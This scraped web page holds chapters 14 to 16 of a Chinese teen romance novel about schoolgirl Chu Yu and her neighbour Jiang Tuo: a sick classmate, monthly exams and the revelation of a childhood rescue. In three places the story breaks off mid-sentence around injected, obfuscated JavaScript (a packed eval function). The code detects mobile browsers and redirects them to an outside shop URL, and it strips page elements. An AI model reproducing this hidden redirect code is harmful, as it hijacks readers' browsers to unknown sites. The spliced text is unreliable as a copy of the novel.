绝世大帅哥：【还不睡？】 岛屿屿：【………………你一定要用这样的昵称来吓人吗？】 初屿记得他昨天昵称还是个句号来着，她刚加他的时候还觉得这人还整的挺高冷，没想到今天就冰火两重天了。 绝世大帅哥：【不觉得这个很合适我？】 岛屿屿：【………………睡了。】 初屿发完这句话，为了显得逼真，她啪地一声按灭房间的灯。 时间确实不早了。 绝世大帅哥过了两秒，给她发了个晚安。 初屿爬到床上，又想起日记没写，她把床头的日记本拿过来，就着小夜灯，思考了两秒。 然后一笔一划地写。 【考试考的还不错，绝世大帅哥有点帅。】 14. 十七岁 次日早晨。 初屿起床去上课，在巷口碰到了江妥，她带了一打ad钙，很大方地分给了他一瓶。 回到教室，后天就要月考，初屿开始背文言文和古诗词。 过了会，袁诗琪拿着语文书走了下来。 她看上去脸色不是很好，坐着齐明凳子，软趴趴地趴在初屿桌子上，“初屿，我觉得头有点痛，你能给包感冒药给我吗？” 初屿放下书，关切地问道：“头晕？你测体温了吗？要不要先测一下？” 袁诗琪语气很虚弱，“还没有……” 初屿抬眼看向前排。 齐明在邹星琪那背英语课文，今天早自习下课就是英语老师定的最后期限，齐明这人背书全靠磨组长，这会见袁诗琪走了，正坐在她座位上。 他咬着ad钙的吸管，支支吾吾地卡了半天壳，邹星琪无语地把书丢还给他。他嬉皮笑脸地看了不到三秒，又自信地把书塞到邹星琪手里要背，然后继续卡壳，初屿估摸着他整个早自习都不会回来了。 初屿摸了摸袁诗琪的额头，觉得好像有点热，于是起身去找邹星琪那拿了体温计。 “量一下看看。” 初屿把体温计的刻度甩下来，递给她。 初屿拿出手机看了下时间，正好看到云香娥给她发了条短信。 【今天中午回来吃饭，做炸酥肉和可乐鸡翅，记得喊小妥一起。】 她回了个收到，抬头，喊他，“江妥。” 江妥在垂眸写题，闻言转过身，看到一旁柔柔弱弱趴在初屿桌上的袁诗琪还愣了一下，显然是才发现她的到来。 “怎么？” 初屿：“你中午有事吗？我外婆让我们一起回去吃饭。” “没事儿。”他甩了下手里的笔，又朝初屿伸手，“借只笔。” 初屿把桌上的笔袋递给他。 她带了一大袋子笔，家里还有更多，这个笔袋里少说也有百来支，每支都不一样，从小到大身边的同学都喜欢找她借笔。 江妥没怎么看，随手挑了一只黑色的，又转过去刷题。 袁诗琪抬头，看了看他们，问道：“一起？你们是亲戚啊？” 初屿摇头，说：“我们是邻居。” 过了七/八分钟，初屿让袁诗琪把体温计拿出来，她看了一眼，松了一口气：“还好没发烧，可能是感冒吧，我帮你去泡杯感冒灵。” 初屿看她不是很有精神的样子，让她就坐着，自己去前排拿了袁诗琪摆着的杯子。 齐明看见她像看见救命稻草，“好巧啊初姐没想到又在这里见面了，哎组长，要不我就到我初姐那背吧，就在这个陌生的环境我紧张，尤其组长你长的这么好看，我就更紧张……” 初屿打断他说屁话，“我拒绝。” 齐明：“…………” 初屿去走廊打了热水，回到教室，看到袁诗琪正坐在齐明的位置上在和一旁的江妥说话。 袁诗琪：“你都学到这里来了呀？” 江妥：“嗯。” 袁诗琪：“你这个习题集是哪本，感觉题型很好，我要不要也去买一本？” 江妥：“初屿的。” 初屿走到自己座位，将冒着热气的水杯摆好，说道：“这个题型是很好，是我之前在宜大附高的老师推荐的。不过学校外面的书店没有卖，要去新华书店才有。我把名字发给你吧，还有几本也挺好的，我一起发给你，正好过几天放月假的时候可以去买。” 袁诗琪回过头，“好的，谢谢。” 初屿帮她把感冒药调好，袁诗琪喝了药，又说，“初屿，我还是觉得有些不舒服，有点想吐，等会我请个假中午回去一趟，到时候我们一起出去吧。” 初屿点头，“好呀，那你现在休息会？我把齐明喊回来吧。” 袁诗琪：“没关系，让他在那背吧，不然下课要去办公室挨教鞭了。” 初屿说：“也行，那你休息一下吧，如果想吐不舒服的话记得喊我。” 袁诗琪点头，转过去，有气无力地趴在齐明桌子上。 初屿走出去，在走廊的水池边，把袁诗琪喝完药的杯子洗了，又打了一杯热水，回来搁在齐明的桌子上。 现在是十月底，接近十一月，天气越来越凉，特别是清晨，寒气重，初屿刚刚出去都被冷风吹得打哆嗦。 初屿看袁诗琪里面的衣服单薄，还在轻声地咳，就去关了一侧的窗，又把自己的校服脱了递给她，“你再穿一件吧，你本来就不舒服，睡觉更容易着凉。” 初屿话音一落，袁诗琪一侧的垂眸坐题的江妥突然撂下笔，干脆利落地拉下拉链，将身上校服脱下，只剩下里面的黑色连帽卫衣。 他长手长脚的，弄出的动静大。 初屿和袁诗琪都愣愣地看向他。 初屿心想，他人还挺好的。 袁诗琪也收回接初屿校服的手，看向他，轻声道：“谢谢……” 江妥没看她，拎着校服，往后丢到初屿桌子上，嗓音低淡，“你穿我的。” 初屿原本都打算把自己校服穿上了，听了他的话，又停下手，不解地轻啊了一声。 江妥就执起笔，继续做题，他没什么过多的解释，嗓音散漫，只是重复道：“你穿我的。” 初屿也不得了便宜还卖乖，心想管他呢，正好她也冷。 她把自己的校服再次递给袁诗琪，把课桌上他的衣服拿着往身上套。 袁诗琪的脸色难看，垂眸接过。 连谢谢都没说。 - 到中午的时候，初屿去喊了袁诗琪一起走。 她们走在前面，江妥插着兜慢悠悠地跟在后面。 出了校门，继续往外走，初屿问她：“你家在哪里呀，要不要打个车？” 袁诗琪说：“我妈妈说在前一个路口等我，这儿太挤了，容易堵车。” 校门口有个乞丐，穿了个打了补丁的衣服，跪在人来人往的墙角边，前面摆着一个脏兮兮的铁盆讨钱。 袁诗琪停下来，看了几眼，准备从钱包里拿钱出来。 其实住这附近的人都知道，这个人，年纪轻轻又有手有脚的，不去靠自己的双手挣钱就知道在这装可怜，听他同村的人说他靠讨钱都已经在乡下建豪宅了，而且还□□，总是打老婆孩子。 “别给，”初屿连忙阻止她，小声解释道：“他是装的，我读小学的时候他就在这讨钱了，他早就在乡下建豪宅了，而且人很坏……” 袁诗琪轻抿了抿唇，打断她，嗓音抬高几分：“可是他真的好可怜……” 她没听初屿的话，还是从钱包里拿了钱上前放到了那个乞丐的碗里，乞丐立马说：“谢谢你小姑娘，你真善良，好人一生平安……” 初屿没反应过来，愣了愣。 江妥伸手轻推了下她后背，像是不满她等在这袁诗琪耽误时间，嗓音懒懒，带点不耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177118|196906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦：“还走不走，饿死了。” 袁诗琪给完钱，又回来，柔柔弱弱地说：“初屿，对不起，可是他看起来真的很可怜，我给他钱，你不会怪我吧……” 初屿听着她的话，心里有些不舒服，于是轻嗯了一声，没再搭腔。 走到前面的路口，袁诗琪上了她妈妈的车。 初屿和江妥一起往小巷走。 江妥侧首，看着她抿着唇，轻皱着眉头的模样，扯了下唇，笑道：“怎么了，初抱抱？” 初屿回过神，泄气道：“没什么。” 她又垂下头，脚踢着路上的石子，一路地踢着往回走。 江妥看着她满脸郁闷地踢石子，心里觉得好笑，他抬手随意地揉了揉她的头发，嗓音到了点不易察觉的宠溺，“好了，你看我就很听你的话。” 初屿别开头，用手顺了下长发，声音因为委屈糯糯的：“我说的都是真的！他一点都不可怜，他还打老婆！” 江妥原本在笑，听到这表情立马严肃，义正言辞地说：“打老婆不行。” 他戏精上身，隔着校服虚握着初屿的手臂，一副怒气冲冲要往回走的模样：“你别拦我，老子要去把他铁碗踹飞。” “………………………………” 初屿面无表情地把手抽回来。 你是真的有病。 - 吃完饭回学校的路上。 初屿突然又想起上次吃饭时她想的问题。 江妥到底是记不记小时候呢。 怎么感觉他要记得不记得的。 主要是他现在跟他小时候差别太多了，无论是长相气质还是性格，都完全不像是一个人。 因此，初屿总是无法将他和小时候联系在一起，如果不是刚才等他回自己院子拿东西出来，可能她又会下意识地忽略这个问题。 初屿不好直接问，怕他本来不记得的被她一说就记起来了，这多影响感情。他现在都这么高，初屿默默打量了一下，好像打不过。 她清了下嗓子，小心翼翼地试探：“江妥，你有没有感觉，我们好像小时候见过？” 江妥眼睫颤了颤，他侧首，狭长的桃花眼轻轻地往上弯，眼尾拉出一条浅浅的长痕，目光落到她脖颈系着的红绳上，意味深长地扯了下唇，笑道：“有吗？” 初屿盯着他的笑。 有些毛骨悚然。 什么意思？ 什么意思？！ 是记得她小时候骑在他身上打他的事的意思吗？！！ 他刚刚盯着她的脖子看是君子报仇十年不晚想要掐死她的意思吗？！！ 好可怕这个男的！！！！！ 初屿扯了扯唇，眼神闪烁，干巴巴地说：“是吗……不是吧……我小时候又没来过这，我从出生就在宜城的你不知道吗哈哈。” 江妥收了笑，皱眉盯着她两秒。 像是有些困惑于她的反应，反问道：“不是吗？” “当然不是！”初屿的狐狸眼璀璨，长睫毛眨了两下，迅速说：“你吃烤肠吗？我请你。” 江妥顺着她看了眼，“谢谢不用了。” “章鱼小丸子吃吗？” “不用了。” “梅菜扣肉饼？” “不用。” “炒酸奶！” “不。” “那你请我吧，姐姐我要一份炒酸奶，谢谢。” “……………………” 15. 十七岁 模拟考的考试速度很快，老师们阅卷速度更快，等到第二天早自习下课，成绩单就贴在教室后墙上了。 而今天一整天各科老师都会用来讲解试卷。 初屿下课凑过去看了一眼。 她在班上排第二。 第一名是班长，江妥在第五名。 初屿看了一下他的分数，语文23分。 她叹了一口气，默默地在心里把自己的排名往后挪了一位。 语文课上，语文老师痛心疾首地训了江妥十来分钟，还指明让王德把他的菊花茶给江同学提提神。 从语文老师的言辞中，初屿大概能得知这少爷也不是第一次干这种事。 因为模拟考确实很累，题型难，时间又紧，连午休时间都给占了。 对这少爷来说真的很难，所以他每次考最后一堂考语文的时候都做不完。 估计这次是睡的太过了。 江妥本人倒是很宠辱不惊，他刚醒，散漫地岔着长腿，一边挨骂一边面无表情地垂眸放空，额发凌乱，侧脸上有道浅浅的睡痕。 初屿心想，还好高考的休息时间很充裕。 - 月考当天。 早自习后，教师里开始按照学校要求布置考场。 初屿正在清课桌，她的东西好多，而且因为是一个人坐最后一排，她可发挥的地方就大了去了。 江妥后面的空地上就被她堆了一沓粉色的半透明收纳盒，装着她收藏的笔记本杯子贴纸便便签纸之类一些乱七八糟的玩意儿。 考场布置要求把这些东西连同课桌里的书籍都清空，放到教室后面一整墙的置物架上。 初屿忙活了好一会。 把东西整理好，回头发现后墙置物架已经都被装满了。 唯一还剩下的只有最上面一排还有一格半的位置，初屿搬了条椅子，小心翼翼地踩上去，她伸手试了下高度，感觉还差了点距离。 不过她脑海里的物理知识告诉她，跳一下，再用力往上丢应该能行。 她又跳下来，去搬了一个装满教材的纸箱，踩上椅子，艰难地举起，准备起跳。 好吧，这个不是很能举起。 她放弃这个，准备再下去拿轻一点的东西。 一回头，就看见江妥站在她旁边，修长的手紧扶着她脚下的椅子，手臂上青筋凸起。 他懒懒地掀起眼皮看她，神情困惑不解：“你干嘛呢？考试压力大要寻死？” 初屿：“……………………” 现在教室里没什么人，大家都吃早餐的吃早餐回宿舍的回宿舍了，只有两个女生坐着静静地看书复习。 “江妥，我搬不太动，你帮我搬一下吧。”初屿看到她像是看到了救星，抱着纸箱跳下来。 “不要。”江妥瞥了她一眼。 初屿眨了眨眼，有些不敢置信他的傲慢。 正巧班长从后门进来，看到初屿手里抱着的纸箱和还堆着东西的课桌，他走过来，看了看，询问道：“初屿，要我帮你搬吗？” 初屿刚要说话。 突然手里一空，一旁的江妥面无表情地伸手接过她手上沉甸甸的纸箱。 初屿连忙对班长说：“不用啦，谢谢。” 江妥又去她桌子上拿东西，然后一手一个纸箱，踩上椅子，他长得高，踩在凳子上都能够上天花板了，很轻松地往置物架上一放。 初屿也没闲着，把桌上的书本收纳盒都抱过来递给他，来回两次，东西就搬完了。 他搬完东西，没再说什么。 坐回自己座位上玩手机。 第一堂考语文，初屿这个月早自习都在刷题，没怎么读语文和英语，现在要临时抱一下佛脚。 于是坐回自己位置上继续背古诗词和文言文。 快到考试时间时，教室里续续陆陆的出现了陌生的面孔。 意识到自己应该要给来班上的考生空座位了，初屿拿着考试袋准备下楼。 江妥也随即起身，他垂眸看着手机，两手空空的，往一组一号走。 第二次月考是按第一次月考的成绩排的考试座位。 初屿没成绩，所以她的座位理所当然的被安排在最后一个班级的最后一个位置。 也就是她得去一楼考。 上午考两门，初屿把第二堂要考生物资料的也了带下去，两堂考试中间虽然有20分钟的休息时间，但是她不想再爬七楼，很累。 到了要考试的班级，门被虚掩着，没开灯，窗帘拉着，里面黑漆漆的。但是能感受里面的气氛热闹，有声音从里面传来，像是在放电影。 此时预备铃已经打了，离考试只有十分钟。而后门紧紧关着，敲门也没人搭理。 她无奈，只好推开前门。 漆黑的教室出现了一抹明媚模糊的光线，初屿规规矩矩地穿着校服，扎着马尾，抱着书和资料，出现在光里。 投影布上的影像因为这光变得稀薄模糊。 班上的人看向这个不速之客。 因为他们在看电影，初屿不准备穿过讲台，而是选择从第二组和第三组之间的空隙中下去，再去最后一排的倒数第一个座位上。 初屿走进教室，听到暧昧的声响，不经意地偏头，看到电影里的两个人正在床上抵死缠绵耳鬓厮磨，她愣愣地抬眼，隐晦不明的光映在她脸上，又将她的长睫毛投到墙面上。 她看了两秒，继续往自己的座位上走。 一坐下，前桌男生就转过来，他五官偏硬朗，留了个很适合的寸头，有点痞帅。 他喂了一声，算是打招呼，又问道：“怎么没见过你？” 每个月都按成绩排考场月考的话，基本上成绩水平差不多经常在一起考的都会认识。 就像在一班考的多半都是本班的同学，最后一个班也是一样，尤其是倒数几位，这么久的，都是老熟人了。 初屿抬眼，嗓音清凌凌的，“座位表你没看吗？后面多出一个人也不知道。” 搭讪不是很成功。 常雲确实很早就知道，一班这回转来了个长的很好看的转校生，第二次月考的时候会到他们班考。 还特意在课间操的时间看过她，确实很正点。 常雲又搭话，语气轻佻：“还以为你会被电影吓到脸红。” 初屿拿出口袋里的湿纸巾，一边擦桌子一边说：“我看过泰坦尼克号。” “很多遍。”她抽出一张湿纸巾给他，语气平淡疏离：“你要吗？” 常雲知道初屿是让他拿了赶紧闭嘴转过去的意思。 他耸了耸肩，转过去。 他百般无赖的转着笔，初屿推开教室的那一幕又出现在他面前。 浑身散发着光，干净又美好，让人不顾一切去守护。 可当暧昧不明的光影落在她身上时，又让人想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177119|196906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将她拉下神坛，看她沾染上情/欲的模样。 常雲挑了下眉，又转过身，“欸，知道你是一班的，怎么样，等会给我抄？” 其实他才懒得抄什么答案，累死了，不过他等着初屿像那些好学生一样义正言辞地拒绝他，然后他可以借这个来由头纠缠欺负她。 初屿一向很好说话，乖巧地点头道，“好。” 她一说完，旁边桌的那两个凑在一起一边看热闹一边化妆的女生笑了起来。 常雲：“…………” 班上突然传来骚动，有女生在窃窃私语。 然后初屿看见了江妥倚在门口的身影，他像是在和走廊上的人讲话，偏着头，倾泄而入的冷光像是给他周身打了圈光晕。 他侧颜很绝，长身鹤立，风灌入他的校服外套，十七岁的少年，意气风发到不可一世。 初屿正疑惑他为什么突然出现在这，突然看见他手里拎着她的粉红色大号水杯，粉白的背带被他一圈圈缠在骨节分明的手掌上。 初屿自从那次感冒后就一直用这个，因为打水方便，不用跑那么多次。 她最近嗓子疼，外婆给她煮了冰糖橙梨茶，就装在水杯里。 被她忘在教室里了。 江妥说完话，抬腿进来，无视班上所有人注目的眼光，径直走到初屿的课桌前。 把水杯搁到她桌上。 他嗓音懒散，“啧，你外婆早上白念叨了。” 感觉整个教室的目光都落在他们身上，初屿下意识嘴犟，“我考完语文要上去喝的。” 他冷哼一声，屈指敲了敲她课桌的早准备好的第二堂要看的生物书和笔记，闲闲地开口：“是吗？” 初屿：“……………………” 前桌的常雲看的有些迷茫，又听到外婆两个字，稍微理解了一下字面意思。他和江妥不算熟，但也得给几分面子，问说：“妥哥，这就是你妹妹啊？” 他有些搞不懂了，不是听说他那个妹妹在上初三么。 初屿抢先开口，“我是他姐。” 说完，她极力地管理表情，让自己看起来严肃一点，显得更有说服力，但因为占了江妥的便宜，她眼尾得意地往上翘，好看的狐狸眼灵动闪烁。 江妥居高临下，垂眸瞥着她冷笑了一声，没说话。 初屿被他看的有些发毛，连忙伸手推他，“快上去快上去，要考试了。” 江妥突然握住她的手腕，然后猛地收紧力度，炙热的温度从他的手心传到她跳动的脉搏上，温度迅速蔓延攀升，一路向上，烧到了初屿的耳后根。 他热烈的视线毫不掩饰的盯着她。 初屿心跳如鼔擂，像做了什么错事的心虚地抽出手。 头顶倏地落下一声轻笑。 似乎是在嘲笑，说，你他妈就这点胆？ 始终在看默默吃瓜热闹的那两个女生不由自主地同时长嘶了一口气。 初屿就这点胆，她垂着头，一直到考试铃响起，试卷和答题卡发到她桌子上了，过了十分钟，她才抿着唇拿起笔。 她写了两道题，又垂眸看向自己的手腕。 她手腕细，皮肤又薄，被他紧拽过，一大圈都发着红。 初屿泄愤似地在试卷上划了一条线。 真是的，不就占了他一个小便宜，至于这么斤斤计较的捉弄回来吗？！ 真小气。 太小气啦！！！ 16. 十七岁 月考结束后要放月假。 放假时间也按班级来放，比如高二的一到五班只放三天，剩下的班级放五天。 高三一到五班放二天，剩下的班级放四天。 放假第一天，初屿一觉睡到下午两点。云香娥上楼来喊了她几次，见初屿死活不肯起床，也不多管她了，出门打麻将去了。 下午四点。 小院里热热闹闹，傅迟南挽着袖子在井水旁洗娃娃菜，薛颜试图切土豆片，手一摸到刀就被傅迟南拿走了让她一边玩去，初屿把刚刚一起去超市买的肥牛卷和火锅丸子装盘。 他们还买了麻酱和辣椒酱。 还有饮料，冰镇雪碧和甜甜的酒酿混在一起，超级好吃！ 过了十分钟，火锅咕噜噜的牛油香味飘满小巷。 薛颜在往碗里狂挤麻酱，突然啊了一声，说：“你喊了江妥没有，一起来吃啊。” 初屿抿了抿唇，要夹菜的手缩了回去。 傅迟南刚往沸腾的辣油汤里下了块面饼，见状看过来，还以为溅她手上了，“怎么，烫到你了？” 初屿瞥了眼自己的手腕，摇头。 薛颜：“快喊啊，趁我们还没开始吃。” “噢，”初屿摸到手机，给江妥发信息。 岛屿屿：【过来一起吃火锅吗？】 过了几分钟，对面回：【不在家，你们吃。】 初屿暗自松了一口气，不过江妥这两天好像很忙，他月考那两天的晚自习都没来上课。 薛颜手里的筷子有点蠢蠢欲动，她问：“怎么？他不来吗？” 初屿放下手机，“对，他说不在家，我们吃吧！” 肥牛卷最先抢手，下下去不到五分钟，就迅速结束了短暂的一生。 薛颜喝了口雪碧，“他这两天晚上都没和我们走，你们俩是不是吵架了？” 初屿被呛了一口，想起那天早晨，暧昧的电影光下，他紧攥着她的手腕。她喝了口水，淡定说：“没有啊，他自己本来就喜欢逃课。” “这个我也听说过欸，不过，他老是逃课，都些干什么啊？”薛颜戳了戳一旁的傅迟南，“你知道吗？” 傅迟南手上的刚夹的丸子差点被她戳掉，他瞥了薛颜一眼，没好气地摇头。 薛颜：“你也不知道？！” 傅迟南都没心思吃饭了，筷子一撂，“我能有你八卦？你总是管人家做什么。” 薛颜感概：“就感觉他这个人好神秘啊，整个人跟小说里一样。还有那个，前几年的那个事，那个身世互换，像不像现在特流行的真假千金？” 初屿眨了眨眼，“什么？什么小说？什么身世互换？什么真假千金啊？” 傅迟南看了她一眼，“你不知道吗？” 薛颜也很疑惑：“你不知道吗？” 初屿一头雾水，她放下筷子，“你们到底在说什么？” 薛颜：“就那个啊，前两年的事，对，你在宜城，天呐，你真的不知道！” 初屿被她搞的很迷茫，不知道为什么，她心绪莫名有些乱，“什么你说啊！” 薛颜：“就江家，那个电视上那个贼牛逼的江家，抱错了孩子啊。前几年，09年的时候，我记得是年底的时候发现的，然后江家就把真的认回来了。” 初屿一脸空白，脑海里费力地理解薛颜所说的话，“什么啊……” 薛颜：“意思是现在的江妥就是真千金，之前那个是假的，小时候在医院和一家姓安的抱错了。真千金15年后卷土重来！你都没看过蓝色生死恋嘛？” 初屿有点理解了，“看过……安……” 听懂了的瞬间，初屿脑子里好像被猛地灌进了水，混混乱乱的，有一双手在模糊水影中向她伸来。 她在河水里费力地睁开眼，看到那个人脖颈上挂的项链。 在河水深处，他拽住她的瞬间，那条项链垂落在她因为窒息而涣散的视线里，成为她绝望瞬间里，唯一的光。 初屿垂眸，急忙从衣领里拉出项链。 纯黑的小石子，像海浪的形状。 年久的记忆措不及防的回溯。 初屿永远记得落水那天，她紧抓着救她的男生的手，一边剧烈的咳嗽一边着急问他：“你叫什么名字？” 他说的话，她记到现在。 连说话的嗓音，语调，都清清楚楚。他说，他叫安泽。 他有一双好看的桃花眼，只不过那时眼尾还没有痣。 那天她一直缠着他，说长大后一定去找他以身相许。还硬闹着要他把项链取下来给她当信物。 不过后来她突发高烧，就被赶来的外婆接回家了。 其实他长的和小时候很像很像。 她早就应该认出来他的。 “你们怎么不早告诉我？！！！” 傅迟南一脸无辜，“我们还以为你知道。” 薛颜咬着筷子，“你外婆可是我们整个摇杏巷最八卦的人，我们都是打她那听的，谁知道你不知道。” 09年的时候淮城的确发生了一件大事。 江家的当时的小少爷被查出和江家并没有血缘关系。 江家费尽心力动用全部势力寻找亲生骨肉，终于找到了15年前在淮城中心医院被安家错抱了的真小少爷。 也就是当时的安泽。 安家负债，安父好吃懒做嫖赌双全，但安泽还是成长的很好。 反观当时的假少爷江妥，已经成为了一个完完全全不学无术的纨绔。 江家认回了真的，又替安家还清了负债，还将假的送去国去念书，算是仁至义尽。 江家想把真的接回京榆。 但他执意要留在一个人留在淮城。 其中原因不得而知。 初屿深吸了一口气，觉得自己没认出他来是有原因的，她情绪稍微有点崩溃：“那他怎么还叫江妥呢？！！！怎么也不换个名儿？！！” 这不是很让人误会吗！ 谁会想到他不是之前她认识的江妥！！ 这谁能想到！ 薛颜也这么想，“我也觉得，和之前的叫一个名，感觉还挺膈应的，不过你这么激动干什么？” “我哪有很激动啊？！！！！！！！” 薛颜：“听说是那个名字是他去世的爷爷给取的，而且算名的大师说了，就得用这个名。不过——你就是很激动吧。” 初屿一连吼了两声，她稍微有点缺氧，于是坐下来。 安安静静地嗦了两口面。 一安静下来，有些被她下意识忽略的事情就突然冒了出来。 比如她刚回淮城的那天晚上，昏暗不明的楼道里，他盯着她的脖颈看了好一会，然后突然转变了淡漠的态度。 在她已经自己单脚从六楼蹦到快一楼的情况下，还上前来扶她。 还有那天。 她第一天到一班的那天课间操。 他对她说的那句你记性还挺好。 因为那天下午，在她外婆没赶来前，她一直很难过一直哭，是他往她嘴里塞了一颗糖，他说的，吃糖会让人心情变好。 那天他往她嘴里塞的，是一颗白桃味的糖。 所以他才会在她生日那天。 往她课桌里摆上一整盒白桃味的糖。 他记得的，他一直记得她。 那天下午，香樟树下，她问他他们是不是小时候认识。 他在笑。 初屿觉得自己可能疯了。 感觉浑身上下都不受自己控制了，所以她才会撂下筷子站起来就往外跑，薛颜和傅迟南在身后喊，她充耳不闻。 她一个劲地跑，没有目的，又好似冥冥之中有目的。 因为她跑着跑着就跑到了学校门口。 之所以只跑到学校门口，可能是因为大门锁了，不然她可能会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那时她危机重重，而他恰巧又伸手救了她一次。 初屿抬腿走了进去。 其实之前她对这条小路还有点怕的，不过现在是白天，而且学校放月假，不是上课时间，出租房这边并不冷清。 初屿走在下面，还能听见楼上母亲喊着让自己女儿别看电视了，放假一天都不看一眼书的声音。 她想去看看。 那晚他们相遇的楼道，却没想到先看到的是他。 江妥站在楼道门口，穿了一身黑色的卫衣外套，肩宽腰窄长身鹤立，眉眼淡漠，气质冷拽，头顶是栽满多肉的房檐，以及染满晚霞的天。 看到他的瞬间，初屿下意识想去到他身边。 可是他身前有一个女生。 女生身材纤细，高挑，穿和他同款的白色卫衣外套，垂着头小声哭泣，看上去很委屈。 初屿站定了会，觉得别人在哭，她这时候过去不太好。 然后初屿就看见那个女生哭着扑进了江妥怀里。 江妥下意识抬起手臂，像是想推开她，但在空中不知所谓地顿了顿，又转为极其生硬的，轻哄着拍女生的背。 他低下头，轻声哄着，模样不再散漫，极其温柔，和当初那个哄她的安泽，好像好像。 初屿的腿下意识往后撤了撤。 然后她快速地，慌乱地逃离了现场。 回到小院的时候。 她重新拿起筷子夹火腿片。 手机屏幕亮了一瞬。 初屿点开。 是他发来的信息。 。：【谢谢。】 。：【你替我喝了吧，我这两天不回。回来请你。】 初屿沉默地把屏幕按熄，继续垂眸埋着头小口小口地咬火腿片。 而事实上，江妥不止两天没回摇杏巷。 直到月考结束，正常上了二天课，整整五天，他都没再出现过。